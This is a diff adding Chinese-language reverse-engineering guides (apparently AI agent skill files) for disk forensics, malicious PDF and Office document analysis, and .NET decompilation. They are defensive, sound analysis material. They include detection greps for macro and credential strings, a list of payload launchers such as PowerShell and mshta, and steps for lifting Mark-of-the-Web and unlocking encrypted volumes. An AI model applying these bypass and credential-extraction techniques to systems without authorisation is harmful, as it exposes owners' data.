|
||||
2. **分区与文件系统识别(ext4 / NTFS / APFS)**:
|
||||
```sh
|
||||
file evidence.dd # 常见文件系统魔数初判
|
||||
mmls evidence.dd # 分区表布局(含 start 扇区偏移)
|
||||
fsstat -o <分区start> evidence.dd # 文件系统类型与元数据统计
|
||||
```
|
||||
- sleuthkit 的 `-o` 参数是**扇区偏移**,直接填 mmls 输出的 start 列;loop 挂载则换算字节 `offset=$((start*512))`
|
||||
- ext4: fsstat 输出 superblock/mgroup;NTFS: 输出 $MFT 位置;APFS: mmls 显示 Apple_APFS 容器分区(APFS 内部卷需要 apfs 工具,sleuthkit 对 APFS 支持有限,必要时用 macOS 本机工具)
|
||||
- 无分区表(整盘文件系统 / 隐藏分区 / 被删分区表)→ mmls 无输出:直接对镜像 fsstat;分区表重建用 testdisk(步骤 3)
|
||||
- 识别失败且熵高 → 加密卷(BitLocker/FileVault/LUKS),见坑 2
|
||||
|
||||
3. **删除文件恢复(元数据法 + 雕刻法)**:
|
||||
```sh
|
||||
# 元数据法(保留文件名/路径/时间)—— sleuthkit
|
||||
fls -r -o <分区start> evidence.dd # 全部文件,含 [DELETED]
|
||||
fls -o <分区start> evidence.dd <inode> # 指定目录 inode 下文件
|
||||
icat -o <分区start> evidence.dd <inode> > rec.bin # 按 inode 提取(含删除文件)
|
||||
tsk_recover -o <分区start> evidence.dd out/ # 恢复已删除(未分配)文件——这是默认行为
|
||||
tsk_recover -e -o <分区start> evidence.dd out_all/ # -e = 已分配 + 未分配全部导出(-a 则只导已分配)
|
||||
```
|
||||
- fls 输出 `r/r 12345-128-1: 文件名 [DELETED]`——行首 inode 号供 icat;未删除文件也可用 icat 精确提取(比挂载拷贝可控)
|
||||
- 删除恢复结果不是 100%(SSD TRIM/覆写),见坑 5
|
||||
- **分区丢失/损坏、元数据法失效 → testdisk / photorec(雕刻)**:
|
||||
```sh
|
||||
testdisk evidence.dd # 交互: 恢复丢失分区表 / Advanced → Undelete
|
||||
photorec /d <输出目录> evidence.dd # 雕刻: 按文件签名扫描恢复(无文件名,见坑 6)
|
||||
```
|
||||
- photorec 恢复类型可交互过滤(只雕刻目标扩展名,缩小结果集);`/d` 指定输出目录
|
||||
|
||||
4. **时间线重建(fls -m → mactime)**:
|
||||
```sh
|
||||
fls -r -m / -o <分区start> evidence.dd > bodyfile # -m 生成 body file(挂载点写 /)
|
||||
mactime -b bodyfile -d -z UTC > timeline.csv # -d CSV、-z 指定时区
|
||||
```
|
||||
- 时间线回答"什么时候创建/修改/删除/访问"——找异常窗口(凌晨批量写、删除+复制组合、反常的访问时间)
|
||||
- 时间戳可被伪造(timestomp),见坑 4——时间线要与其他来源(USN Journal、系统日志、[[re-mem-forensics]] 内存时间线)交叉验证
|
||||
- CSV 里按 MAC 时间过滤删除动作: `grep -i ',d,' timeline.csv`(删除记录)
|
||||
|
||||
5. **可疑文件提取(未分配空间/隐藏分区)**:
|
||||
```sh
|
||||
# 未分配块(含删除文件残留、缓存、临时数据)
|
||||
blkls -o <分区start> evidence.dd > unallocated.bin
|
||||
strings -n 8 unallocated.bin | grep -iE 'key|password|flag|http' | head -50
|
||||
# 分区表空隙(slack space)/隐藏分区: 按 mmls 相邻分区起止手工截取
|
||||
dd if=evidence.dd of=gap.bin bs=512 skip=$((A_end+1)) count=$((B_start-A_end-1)) # mmls 的 End 是含端点的末扇区(Length=End-Start+1);两分区之间的空白 = A_end+1 .. B_start-1。更省事:直接用 mmls 列出的 Unallocated 项 Start/Length
|
||||
```
|
||||
- 未分配空间是"删除≠消失"的主战场:凭据/密钥/URL/文档残片常留在那里
|
||||
- 被删除/隐藏分区: testdisk 扫描重建分区表项后,把重建分区按步骤 3 流程恢复文件
|
||||
- 提取对象(文件/残片)先算 sha256 再分析;可疑二进制转 [[re-binary-core]] 深挖,敏感串进 [[re-ioc]] IOC 列表
|
||||
|
||||
## 数据库文件格式
|
||||
|
||||
- **SQLite 结构**:页头(page header 字段)、btree 页(interior/leaf 类型)、记录格式(varint 长度编码 / 类型码)、溢出页(大字段跨页)
|
||||
- **WAL 恢复**:WAL 文件帧解析(未 checkpoint 的事务)、checkpoint 边界判定(恢复点)
|
||||
- **取证应用**:浏览器/App 数据库——删除记录恢复(freelist 页残留)、未提交事务提取(WAL 内)
|
||||
- **工具**:`sqlite3` CLI 只读模式(`sqlite3 -readonly`)、页级解析脚本(python 按页结构遍历)
|
||||
|
||||
## 跨域联合
|
||||
|
||||
- [[re-forensics]]:本技能是该网关的磁盘侧取证分支(内存侧为 [[re-mem-forensics]])——网关选择树按"内存 vs 磁盘"分派
|
||||
- [[re-mem-forensics]]:并列的取证分支——内存残留与磁盘证据互证(进程行为 ↔ 文件落地);BitLocker 密钥可先从内存取证插件拿(再回本技能解密卷)
|
||||
- [[re-ti]]:提取对象(哈希/域名/IP)做情报查询
|
||||
- [[re-ioc]]:磁盘证据(文件/时间线/残留数据)汇总成 IOC 与报告证据段
|
||||
- [[re-binary-core]]:提取的可疑二进制/脚本深挖([[re-ghidra]] / [[re-ida]])
|
||||
- [[re-crypto-keys]] / [[re-crypto-decrypt]]:加密卷密钥提取(BitLocker/LUKS)与加密文件解密
|
||||
- [[re-firmware]]:固件/嵌入式存储镜像同样按"磁盘镜像"流程处理(binwalk 解包层)
|
||||
- [[re-memdump]]:内存转储是磁盘取证的上游佐证(密钥/凭据/执行痕迹,默认转储优先)
|
||||
- 引用 [[re-analyze/platform-tips]] WSL 分支(Windows 盘镜像在 WSL 内用 Linux 取证工具)与取证证据链要求
|
||||
|
||||
## 常见坑与陷阱
|
||||
|
||||
- **写操作污染证据(必须只读)**:现象——分析完镜像哈希对不上、文件系统状态前后不一致、报告无法自证;原因——`mount` 默认可写(ext4/NTFS 挂载会重放日志、更新访问时间),或在原设备上直接跑了恢复工具;对策——镜像一律 `mount -o ro,loop,noexec,nodev,nosuid`,ext4 加 `noload`、NTFS 用 `ntfs-3g -o ro,recover=no` 跳过日志重放(见坑 3);分析前 sha256 存证、分析后复核;物理盘用写保护器或 `blockdev --setro`;只读数据尽量用 sleuthkit 工具(fsstat/fls/icat 只解析不写)而非挂载
|
||||
- **加密卷(BitLocker/FileVault/LUKS)**:现象——fsstat/testdisk 报"无法识别文件系统",扇区全是高熵;原因——全卷加密,无密钥看不到内容;对策——密钥路径: ① 系统运行时的内存转储取密钥([[re-mem-forensics]] 的 Bitlocker FVEK 扫描插件 → `dislocker` 挂载)② 用户密码/恢复密钥(BitLocker 48 位恢复密钥、FileVault 恢复密钥、LUKS passphrase)③ 未加密的启动分区(UEFI/Boot 分区不加密,可提取启动链证据);工具: dislocker(BitLocker)、`cryptsetup luksOpen`(LUKS);拿不到密钥则该镜像只能做非内容取证(分区结构/引导链),并如实标注局限
|
||||
- **文件系统日志干扰**:现象——fls 看到的文件状态与分析时不一致(文件"回滚"到旧状态),或挂载后镜像哈希变化;原因——ext4 jbd2 / NTFS 日志在挂载时被重放,未提交事务被写回;对策——只读挂载必须带 `noload`(ext4)/ `recover=no`(ntfs-3g);镜像直接存两份(原始 + 工作副本),分析在副本上做,原始镜像永不挂载
|
||||
- **时间戳伪造(timestomp)**:现象——时间线里成批文件的时间戳完全一致或明显不合理(如删除时间早于创建时间、全部改为同一时刻);原因——攻击者/样本用 timestomp 类手法改写 MFT/inode 时间戳([[re-malware]] 常见收尾动作);对策——交叉验证: NTFS 的 USN Journal(记录了真实变更序列)、ext4 的访问时间 vs crtime、系统日志、[[re-mem-forensics]] 内存时间线;发现伪造行为本身就是重要取证结论,写进报告而不是当脏数据滤掉
|
||||
- **删除 ≠ 可恢复(SSD TRIM/覆写)**:现象——fls 列出一堆 [DELETED] 但 icat 读出来全 0 或取不到;原因——SSD TRIM 已擦除物理块、数据被后续写入覆盖、NTFS 压缩/加密文件;对策——先确认介质类型(HDD/SSD)与删除时间窗口(越早恢复概率越高);未分配空间走 blkls 看是否有残留,全 0 就如实报告"已被擦除"
|
||||
- **photorec 雕刻误报**:现象——恢复出大量"文件"但打不开/内容与扩展名不符;原因——签名雕刻只认文件头,真实文件碎片化或被覆写后拼接出假文件;对策——交互菜单按文件类型过滤(只恢复目标类型)、优先验证小文件与关键类型、恢复结果抽查内容并算 sha256 入库([[re-ioc]])
|
||||
138
vendor-new/rev-skills/.claude/skills/re-doc-malware/SKILL.md
Normal file
138
vendor-new/rev-skills/.claude/skills/re-doc-malware/SKILL.md
Normal file
@@ -0,0 +1,138 @@
|
||||
---
|
||||
name: re-doc-malware
|
||||
type: atomic
|
||||
description: >
|
||||
恶意文档分析:PDF/Office 武器化、宏链、文档漏洞利用、载荷提取。
|
||||
触发词:恶意文档、钓鱼文档、PDF恶意、宏文档、docm、文档漏洞、恶意附件。
|
||||
capabilities: [document-malware]
|
||||
---
|
||||
|
||||
# 恶意文档分析
|
||||
|
||||
## 何时使用 / 何时不用
|
||||
|
||||
- 用:钓鱼附件(PDF/Office/RTF)、文档漏洞利用样本、宏文档、文档型恶意载荷
|
||||
- 用:仅拿到单文档样本,需还原载荷提取链(宏 → 脚本 → 可执行 → 回连)
|
||||
- 不用:纯脚本宏(转 [[re-script-deob]]);文档仅是载体(核心逻辑在下载载荷)
|
||||
- 不用:只有网页/邮件网关侧元数据(无样本文件本身)——先要样本再分析
|
||||
- 注意:动态打开文档必须沙箱([[re-sandbox]],[[re-analyze/platform-tips]] 最高原则);文档可能检测环境后不触发(见坑 6)
|
||||
|
||||
## 工具准备
|
||||
|
||||
### pdf-parser / pdfid(PDF 结构分析)
|
||||
|
||||
- Linux: `apt install pdf-parser pdfid`(Kali 常预装;Debian/Ubuntu 仓库同名包)或 GitHub `DidierStevens/DidierStevensSuite` 源码运行;macOS: `brew install pdf-parser` / pip
|
||||
- Windows: pip(WSL 亦可)
|
||||
- 验证: `pdf-parser --version`(无则 `python3 pdf_parser.py --help`);`pdfid.py sample.pdf` 能输出对象计数
|
||||
- 补充(备注:peepdf 已归档、Python 2 时代,PyPI 仅 0.3.6——首选 pdf-parser/pdfid)
|
||||
|
||||
### qpdf(PDF 流解压,可选)
|
||||
|
||||
- Linux: `apt install qpdf`;macOS: `brew install qpdf`
|
||||
- 验证: `qpdf --version`
|
||||
- 用途: 展开对象流/压缩流为可读形式(`qpdf --qdf --object-streams=disable in.pdf out.pdf`),配合 `-d` dump 对照
|
||||
|
||||
### olevba / rtfobj(Office/RTF 宏与嵌入对象提取)
|
||||
|
||||
- 多平台: `pip install oletools`(oletools 内含 olevba、rtfobj、oleobj、msodde、oleid、mraptor 等)
|
||||
- 验证: `olevba --help`;`rtfobj --help`
|
||||
- 注意: oledump **不在** oletools 包内——是独立工具(GitHub `DidierStevens/DidierStevensSuite` 取 oledump.py,需 `pip install olefile` 依赖;`python3 oledump.py -s <流号> <文件>` 按流转储)
|
||||
|
||||
### xlmdeobfuscator(Excel 4.0 宏去混淆,可选)
|
||||
|
||||
- `pip install xlmdeobfuscator`
|
||||
- 验证: `xlmdeobfuscator --help`
|
||||
- 适用: .xls 里的 XLM 宏表(olevba 0.54+ 已能识别 XLM,混淆深时用本工具还原)
|
||||
|
||||
### LibreOffice(沙箱打开验证,可选)
|
||||
|
||||
- Linux: `apt install libreoffice` / `dnf install libreoffice`;macOS: `brew install --cask libreoffice`;Windows: 官方安装包
|
||||
- 验证: `libreoffice --version`
|
||||
- 注意: LibreOffice 默认**不执行** VBA 宏(宏安全性限制)——沙箱里要验证宏行为需装真实 Office 或改 LibreOffice 宏安全设置(见 [[gotchas]])
|
||||
|
||||
### 7z(OLE/OOXML 解包)
|
||||
|
||||
- Linux: `apt install p7zip-full`;macOS: `brew install sevenzip`;Windows: 官方安装包
|
||||
- 验证: `7z --help`
|
||||
- 7z 可直接列出 OLE 复合文档内部流(WordDocument/1Table/VBA/PROJECT 等)与 OOXML 包内文件
|
||||
|
||||
## 操作步骤
|
||||
|
||||
按顺序执行;每步产物存档(路径 + sha256,见 [[re-triage]])。
|
||||
|
||||
1. **文档类型识别**:
|
||||
```sh
|
||||
file sample.pdf sample.docm sample.rtf
|
||||
```
|
||||
- PDF:`%PDF` 头;Office 旧格式:CFB(OLE 复合文档,`D0 CF 11 E0`);OOXML:zip(`PK`);RTF:`{\rtf`
|
||||
- 类型决定后续工具链;多类型混合(如 PDF 内嵌 OLE)按各分支分别走
|
||||
|
||||
2. **PDF 静态分析**:
|
||||
```sh
|
||||
pdfid.py sample.pdf # 对象计数,恶意特征速览
|
||||
pdf-parser -f sample.pdf | head -50 # 对象树遍历(-f 经过 filter 解压流)
|
||||
pdf-parser -s /JS sample.pdf # JavaScript 动作
|
||||
pdf-parser -s /OpenAction sample.pdf # 打开即执行动作
|
||||
pdf-parser -O sample.pdf # 解析对象流(ObjStm)内的对象
|
||||
```
|
||||
- 恶意特征:`/JS`(JavaScript 动作)、`/OpenAction`(打开触发)、`/AA`(附加动作,页级/文档级)、`/Launch`(外部程序)、`/EmbeddedFile`(嵌入文件)、`/RichMedia`(Flash 遗留)
|
||||
- 漏洞文档:`/JBIG2Decode`(JBIG2 漏洞)、`/RichMedia` 等 CVE 对应结构——按结构特征(非版本号)对照已知利用模式
|
||||
- JS 载荷 → [[re-script-deob]] 还原;结构可疑但对象树不全时先 `qpdf --qdf --object-streams=disable` 展开再看
|
||||
|
||||
3. **Office 宏提取**:
|
||||
```sh
|
||||
olevba -c sample.docm > macro.txt # 提取宏源码(-c 只输出源码)
|
||||
olevba --decode -c sample.docm > macro_decoded.txt # 自动解常见字符串混淆(--decode 自 oletools 0.24 起;源码内解码串显示用 --reveal)
|
||||
olevba --deobf -c sample.docm # 表达式级去混淆(0.46+)
|
||||
strings sample.docm | grep -iE 'DDEAUTO|http|powershell' | head
|
||||
```
|
||||
- 宏链入口:Word `Document_Open` / `AutoOpen` / `AutoExec`;Excel `Workbook_Open` / `Auto_Open`;表单控件/快捷键/自定义按钮触发也不少见
|
||||
- 其他向量:DDE 域(`DDEAUTO`,较新 Word 默认禁用——旧版仍触发)、外部链接(`/hyperlink`)、OLE 嵌入对象(`oleobj` 提取后逐个分析)、Excel 4.0 XLM 宏表(`xlmdeobfuscator`)
|
||||
- olevba 输出警告 `VBA stomping` 时注意:实际执行的是 P-code 而非提取出的源码(见坑 2)
|
||||
- 宏载荷 → [[re-script-deob]] 去混淆链
|
||||
|
||||
4. **RTF 分析**:
|
||||
```sh
|
||||
rtfobj sample.rtf # 列出嵌入 OLE 对象与 CLSID
|
||||
```
|
||||
- RTF 可整篇 `\'XX` 十六进制转义混淆——先还原转义再查关键字
|
||||
- 嵌入对象(`\objdata`)提取后按 OLE/CFB 分支继续;漏洞文档常见 `\pict` 内嵌数据
|
||||
|
||||
5. **模板注入与关系文件(OOXML)**:
|
||||
```sh
|
||||
7z l sample.docx | head -40
|
||||
7z x sample.docx -oext/
|
||||
grep -r 'TargetMode="External"' ext/word/_rels/ 2>/dev/null
|
||||
```
|
||||
- 检查全部 rels 文件:`document.xml.rels` 中 `attachedTemplate` / `externalLink` 外部目标 = 远程模板注入
|
||||
- 模板注入让文档无宏也有外联行为(远程模板带宏)——解包后逐个 rels 核对
|
||||
|
||||
6. **载荷提取**:
|
||||
- 提取项:脚本/URL/二进制/多级载荷(每层存档编号 + sha256,路径与哈希进 [[re-analyze/analysis-contract]])
|
||||
- 指标提取 → [[re-ioc]](URL/域名/哈希);提取物初勘 → [[re-triage]]
|
||||
- 多级链(文档 → 脚本 → 下载器 → 可执行)逐层展开,每层注明触发方式
|
||||
|
||||
7. **动态验证**(沙箱):
|
||||
- [[re-sandbox]] 内用 LibreOffice/阅读器打开,网络隔离(INetSim/fake DNS)
|
||||
- 观察:文件释放、进程链、网络回连([[re-behavior]] 衔接);延长观察窗口、模拟用户交互对抗延迟执行(见坑 6)
|
||||
- 宏执行验证优先用真实 Office(LibreOffice 默认不执行 VBA,见工具准备)
|
||||
|
||||
## 跨域联合
|
||||
|
||||
- [[re-malware]] 网关:本技能归属(选择树「钓鱼附件」分支)
|
||||
- [[re-script-deob]]:宏/JS 去混淆还原
|
||||
- [[re-sandbox]]:动态打开强制前置
|
||||
- [[re-ioc]]:提取指标
|
||||
- [[re-behavior]]:行为验证衔接
|
||||
- [[re-triage]]:哈希/初勘与载荷提取存证
|
||||
|
||||
## 常见坑与陷阱
|
||||
|
||||
- **PDF 对象流压缩未解**:现象——pdf-parser 输出无 `/JS`;原因——对象在 FlateDecode 压缩流或 ObjStm 内;对策——`-f` 强制解压、`-O` 展开对象流再查
|
||||
- **VBA stomping(执行与源码不一致)**:现象——olevba 提取的源码看起来无害/乱码,但动态行为异常;原因——Office 执行编译后的 P-code,源码只是存档(可被替换/截断);对策——olevba 警告时以动态行为为准,必要时 pcodedmp 反汇编 P-code 对照
|
||||
- **宏被混淆**:现象——olevba 提取后满屏拼接/编码;原因——宏混淆;对策——`--decode`/`--reveal`/`--deobf` 逐层解,[[re-script-deob]] 去混淆链
|
||||
- **文档漏洞版本特征**:现象——结构特征与已知 CVE 不符;原因——利用代码针对特定版本;对策——按结构特征(非版本号)对照利用模式,标注版本假设
|
||||
- **MOTW 拦宏(沙箱执行失败)**:现象——沙箱里打开文档宏不触发;原因——下载文件带 Mark-of-the-Web(Zone.Identifier),Office 2016+ 默认拦截其宏;对策——Windows 侧 `Unblock-File`(PowerShell)或删 Zone.Identifier ADS 后再开;检测型文档见坑 6
|
||||
- **沙箱检测文档(延迟执行)**:现象——沙箱内无行为;原因——文档检测环境后不触发或推迟触发;对策——延长观察窗口、模拟用户交互(滚动/点击/Office 版本核对)
|
||||
- **模板注入易漏**:现象——宏正常但仍有外联;原因——`/word/_rels` 远程模板;对策——解包后检查全部 rels 文件(步骤 5)
|
||||
- 工具差异与更多边界(oledump 用法、RTF 反例、LibreOffice 宏设置)见 [[gotchas]] 与 [[decision-tree]]
|
||||
@@ -0,0 +1,99 @@
|
||||
# 恶意文档分析决策树与证据分级
|
||||
|
||||
## 场景决策树(入口 → 分支)
|
||||
|
||||
### 1. 文件类型识别(第一级)
|
||||
|
||||
```
|
||||
拿到文档样本
|
||||
├─ 头 %PDF → PDF 分支(第 2 节)
|
||||
├─ 头 D0 CF 11 E0 → CFB/OLE 分支(第 3 节:doc/xls/ppt 旧格式)
|
||||
├─ 头 PK → OOXML 分支(第 3 节:docx/xlsx/docm/zip 包)
|
||||
├─ 头 {\rtf → RTF 分支(第 4 节)
|
||||
└─ 其他 → 真格式伪装?再 file 二次判定;仍不是文档 → 换 [[re-triage]]
|
||||
```
|
||||
|
||||
- 判定依据是**文件头字节**不是扩展名(扩展名可伪造);`file` 输出的 MIME 只作参考
|
||||
- 多类型混合(PDF 内嵌 OLE 对象、RTF 内嵌 OLE、OOXML 内嵌 PDF)→ 外层分支走完后,提取出的内嵌物回到第一级重新分支
|
||||
|
||||
### 2. PDF 分支
|
||||
|
||||
```
|
||||
PDF 样本
|
||||
├─ /JS 或 /JavaScript 动作 → 提取 JS → [[re-script-deob]] 还原 → 查 shellcode/URL
|
||||
├─ /OpenAction 或 /AA → 打开即执行 → 同上,并记录触发方式(文档级/页级)
|
||||
├─ /Launch → 外部程序启动 → 提取 /F 参数与嵌入文件
|
||||
├─ /EmbeddedFile → 嵌入载荷 → 按文件类型回第一级
|
||||
├─ /JBIG2Decode /RichMedia 等已知漏洞结构 → 对照利用模式(结构特征,非版本号)
|
||||
├─ 有对象流(ObjStm)且 -f 后仍无 JS → 用 qpdf 展开对象流/压缩流重查(坑 1)
|
||||
└─ 全静态无特征 → 沙箱动态打开(见步骤 7),对比渲染前后行为
|
||||
```
|
||||
|
||||
### 3. Office 分支(CFB / OOXML)
|
||||
|
||||
```
|
||||
Office 样本
|
||||
├─ olevba 提到宏(AutoOpen/Workbook_Open/Document_Open/Auto_Open 等)
|
||||
│ ├─ 有 VBA stomping 警告 → 以动态行为为准,P-code 反汇编对照
|
||||
│ ├─ 宏源码混淆 → --decode/--reveal/--deobf 逐层解
|
||||
│ └─ 宏干净但行为异常 → 查非宏向量(下表)
|
||||
├─ 无宏
|
||||
│ ├─ rels 有 TargetMode="External" → 模板注入/外部链接 → 追远程目标(网络侧)
|
||||
│ ├─ 有 DDEAUTO 域 → 较新 Word 默认禁用;旧版触发 → 记录版本假设
|
||||
│ ├─ 有 OLE 嵌入对象 → oleobj/rtfobj 提取 → 回第一级
|
||||
│ ├─ XLM 宏表(.xls) → xlmdeobfuscator 还原
|
||||
│ └─ 全静态无特征 → 沙箱动态打开
|
||||
└─ 加密/损坏(olevba 读不出)→ 查是否加密文档(oleid);口令型样本标注"无法提取宏"
|
||||
```
|
||||
|
||||
- 宏入口不止自动宏:表单控件、快捷键、工作簿事件、自定义按钮都能触发——静态看全部 `Sub` 的调用关系
|
||||
- 宏的最终载荷多为 PowerShell/mshta/regsvr32/rundll32 命令行 → 提取命令后走 [[re-script-deob]] / [[re-evasion]]
|
||||
|
||||
### 4. RTF 分支
|
||||
|
||||
```
|
||||
RTF 样本
|
||||
├─ 含 \objdata → 嵌入 OLE → rtfobj 提取 → 回第一级(多为 Office 漏洞利用或宏文档)
|
||||
├─ 含 \pict → 图片内嵌数据 → 可疑则提取十六进制再判定
|
||||
├─ 整篇 \'XX 转义 → 先还原转义(unrtf/文本替换)再查关键字
|
||||
└─ 纯文本内容 → 钓鱼正文类,转 [[re-ioc]] 提 URL/身份特征
|
||||
```
|
||||
|
||||
### 5. 载荷 → 处置分支
|
||||
|
||||
```
|
||||
提取到的载荷
|
||||
├─ JS/VBA/PowerShell 脚本 → [[re-script-deob]] 去混淆 → 还原后回到本节
|
||||
├─ URL/域名 → [[re-netcap]] 抓取(沙箱)或 [[re-triage]] 初勘 → [[re-ioc]]
|
||||
├─ PE/ELF 二进制 → [[re-triage]] → [[re-malware]] 网关走完整分析
|
||||
├─ 多层嵌套 → 每层编号存档后递归处理,保留触发链记录
|
||||
└─ 数据文件(其他格式) → 回第一级重新识别
|
||||
```
|
||||
|
||||
## 证据分级表
|
||||
|
||||
结论要能回答"恶意性证据从哪来",按强度分级标注:
|
||||
|
||||
| 级别 | 证据形态 | 示例 | 用途 |
|
||||
|---|---|---|---|
|
||||
| A 强 | 动态行为 + 网络侧闭合 | 沙箱内释放/回连 URL,网络侧抓到相同 URL | 可下"恶意"结论 |
|
||||
| B 中 | 载荷提取链闭合 | 宏还原出 PowerShell 下载命令,URL 可访问 | 可下"可疑/高度可疑" |
|
||||
| C 弱 | 静态特征 | 只有 /JS + /OpenAction、宏存在、未知 CLSID | 只支持"需进一步分析",不下结论 |
|
||||
| 反证 | 良性解释 | 宏仅为自动化办公、对象为正常嵌入 | 记录并存档,避免误报 |
|
||||
|
||||
- 每个结论至少对应一级证据;跨级结论(C 级特征下"恶意"结论)视为无证据支撑
|
||||
- 存档时注明:工具版本(olevba 版本影响 XLM/stomping 检测能力)、文件哈希、提取链每层哈希([[re-analyze/analysis-contract]])
|
||||
|
||||
## 实现教训(内化)
|
||||
|
||||
- 先类型后特征:分支判断全部基于头字节,扩展名只当提示;类型判错整个工具链就错
|
||||
- 特征定位按"动作"而非"对象":/JS 要配合 /OpenAction /AA 才构成执行链——单看对象存在不够,要看触发关系
|
||||
- 静态怀疑、动态确认:任何静态特征结论都在沙箱里用行为对照一遍;VBA stomping 场景下静态源码可能完全不可信
|
||||
- 每层载荷立即存档(编号 + sha256),不要等分析完再补——多层链极易在还原过程中丢失中间层
|
||||
- 版本记录:Office/阅读器/工具版本影响触发行为(MOTW、DDE 默认值、宏安全)——报告里注明环境版本
|
||||
- 证据链与触发方式(打开触发/交互触发/延迟触发)一起记录,动态复现才能对齐
|
||||
|
||||
## 使用注意
|
||||
|
||||
- 全部在沙箱内执行([[re-sandbox]],[[re-analyze/platform-tips]] 最高原则);动态打开 = 真实执行未知代码
|
||||
- 文档类样本分析只针对授权范围内的分析任务;提取出的载荷按 [[re-malware]] 流程继续,不在此技能内处置
|
||||
@@ -0,0 +1,35 @@
|
||||
# 恶意文档分析方法论坑与边界
|
||||
|
||||
## PDF 结构组
|
||||
|
||||
- **对象流(ObjStm)藏对象**:对象可整体放进对象流内,`pdf-parser` 默认不展开——只按 `/JS` 全局搜会漏;`-O` 解析 ObjStm、`-f` 过 filter 后再查(SKILL.md 坑 1)
|
||||
- **filter 链不只 FlateDecode**:`-f` 只处理 FlateDecode/ASCIIHex/ASCII85/LZW/RunLength 五种;遇到 `CryptFilter`(加密流)或自定义 filter 解不出是正常的,不是工具坏了——qpdf 对损坏/畸形 PDF 也会直接报错,需容忍坏 xref 表(可试 `--ignore-xref-streams`)
|
||||
- **xref 损坏不等于假 PDF**:恶意 PDF 常带损坏/增量更新 xref 以干扰解析器——`pdf-parser -v` 显示 malformed 元素时逐条记录,别当分析失败
|
||||
- **无恶意特征也有行为**:渲染引擎漏洞(阅读器 CVE)与结构特征无关——结构全干净仍要在沙箱动态打开,反例:只有字体/渲染路径的利用文档静态零特征
|
||||
- **`pdfid` 计数是提示不是结论**:/JS 计数 0 但文件确实有 JS 的情况存在(对象流 + filter 组合)——计数只能做初筛
|
||||
|
||||
## Office 宏组
|
||||
|
||||
- **VBA stomping:源码 ≠ 执行码**:Office 执行编译后 P-code;攻击者可把源码流替换成无害文本,olevba 提取出"干净"源码但实际跑的是另一份代码——olevba 有警告就默认源码不可信,以动态行为为准
|
||||
- **MOTW 是执行开关**:从互联网下载的文档带 Zone.Identifier(MOTW),Office 2016+ 默认禁止其宏/ActiveX——沙箱里"打开没反应"先查 MOTW 与 Protected View,别急着下"良性"结论;反过来,**分析者自己的样本若被 Unblock-File 处理过,要记录这一改动**(改变了样本原始执行语义)
|
||||
- **DDE 不是默认向量**:2017 年后 Word 默认禁用 DDE 自动更新——老文档/老版本的 DDEAUTO 才触发;静态检出 DDEAUTO 需标注版本假设,动态触发不了不代表样本无害
|
||||
- **宏入口不止 AutoOpen 系**:表单控件、按钮、工作表事件、快捷键触发宏的文档,静态只看自动宏会漏——遍历全部 `Sub`/`Function` 引用
|
||||
- **XLM 与 VBA 并存**:老 .xls 可同时含 Excel 4.0 宏表与 VBA——只提 VBA 会漏 XLM 载荷;olevba 0.54+ 支持 XLM 识别,混淆深的 XLM 用 xlmdeobfuscator
|
||||
- **加密文档读不出是常态**:olevba 对加密 OOXML/CFB 无解——用 oleid 确认加密后再决定(口令提取不在本文档技能范围,走 [[re-crypto-keys]] 思路或诚实报告)
|
||||
|
||||
## RTF 与嵌入对象组
|
||||
|
||||
- **RTF 转义是混淆重灾区**:`\'XX` 逐字符十六进制转义可把整个文档变成不可读串——先还原再分析;`\*\` 目的性标记(星号=未知控制字)也可能夹带恶意数据
|
||||
- **\objdata 里不只是 OLE**:嵌入对象的内容可以是被截断/改头的数据——提取后按头字节重新识别,不要默认"objdata = OLE"
|
||||
- **CLSID 已知好 ≠ 对象无害**:rtfobj 显示已注册的正常 CLSID,但对象内部数据仍可被利用(如公式编辑器类组件历史漏洞)——CLSID 只作筛选线索,不作结论
|
||||
|
||||
## 环境与沙箱组
|
||||
|
||||
- **LibreOffice 默认不执行 VBA**:宏安全设置默认禁用——用 LibreOffice 动态验证"宏行为"会得到错误的空结果;要么装真实 Office,要么显式改宏安全设置并记录
|
||||
- **延迟/环境检测型样本**:沙箱里静默 30-60 秒后才有行为(检测进程名/网络/交互)——观察窗口至少覆盖 2 分钟,并模拟滚动/点击/输入;反例:检测到无交互即退出的样本,UI 自动化能触发
|
||||
- **网络隔离要双向**:INetSim/fake DNS 能拦外联,但样本也可能通过 DNS 隧道/隐蔽通道——抓包日志留证([[re-netcap]]),别只开拦截不开记录
|
||||
|
||||
## 使用注意
|
||||
|
||||
- 沙箱执行是前置条件([[re-sandbox]],[[re-analyze/platform-tips]] 最高原则),未隔离环境不打开文档样本
|
||||
- 所有结论按 [[decision-tree]] 证据分级标注强度;工具版本(oletools/libreoffice 版本)记录进分析日志
|
||||
131
vendor-new/rev-skills/.claude/skills/re-dotnet/SKILL.md
Normal file
131
vendor-new/rev-skills/.claude/skills/re-dotnet/SKILL.md
Normal file
@@ -0,0 +1,131 @@
|
||||
---
|
||||
name: re-dotnet
|
||||
description: .NET CIL 逆向:dnSpy/ILSpy 反编译、de4dot 去混淆、ConfuserEx。触发词:.NET、dnSpy、ILSpy、de4dot、CIL、ConfuserEx
|
||||
capabilities: [bytecode-parser]
|
||||
---
|
||||
|
||||
# .NET CIL 逆向(dnSpy / ILSpy / de4dot)
|
||||
|
||||
## 何时使用 / 何时不用
|
||||
|
||||
- 用:确认是 .NET 程序集(PE CLI header / `file` 输出 "Mono/.Net assembly")后,还原 CIL 为可读 C#;处理 ConfuserEx/SmartAssembly 等 .NET 混淆;定位注册码/网络/解密逻辑
|
||||
- 用:恶意 .NET 样本([[re-malware]] → [[re-managed]] 路径)的静态还原
|
||||
- 不用:非托管 PE(native 程序直接 [[re-binary-core]];混合模式程序 native 部分同样转出)
|
||||
- 不用:Java([[re-java]])、脚本([[re-script-deob]])
|
||||
- 注意:动态步骤默认沙箱([[re-analyze/platform-tips]] 最高原则);先 `file`/初勘确认再动手
|
||||
|
||||
## 工具准备
|
||||
|
||||
参考 [[re-analyze/platform-tips]]——反编译/去混淆为静态步骤,免沙箱;动态验证按最高原则进沙箱。
|
||||
|
||||
### dotnet SDK(跑 .NET 工具的前提)
|
||||
|
||||
- Debian/Ubuntu: `apt install dotnet-sdk-8.0`(官方 Microsoft 源)
|
||||
- Fedora: `dnf install dotnet-sdk-8.0`;Arch: `pacman -S dotnet-sdk`
|
||||
- macOS: `brew install --cask dotnet-sdk`
|
||||
- Windows: `choco install dotnet-sdk` 或官方安装器
|
||||
- 验证: `dotnet --version`
|
||||
|
||||
### ILSpy(跨平台,GUI + CLI)
|
||||
|
||||
- CLI(dotnet tool): `dotnet tool install -g ilspycmd`
|
||||
